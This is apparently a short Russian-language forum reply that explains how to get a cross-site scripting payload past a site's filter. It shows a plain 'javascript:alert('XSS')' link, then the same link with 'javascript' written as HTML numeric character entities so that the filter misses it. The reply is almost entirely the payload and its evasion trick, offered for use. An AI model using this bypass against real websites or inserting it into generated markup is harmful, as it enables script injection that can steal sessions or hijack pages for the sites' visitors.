2Skaret
Фишка то в том, чтоб обойти фильтр. В незашифрованном виде код такой:
<a href=javascript:alert('XSS')>Текст</a>
Но такой код не выполнится, поэтому нужен такой:
<a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert('XSS')>Текст</a>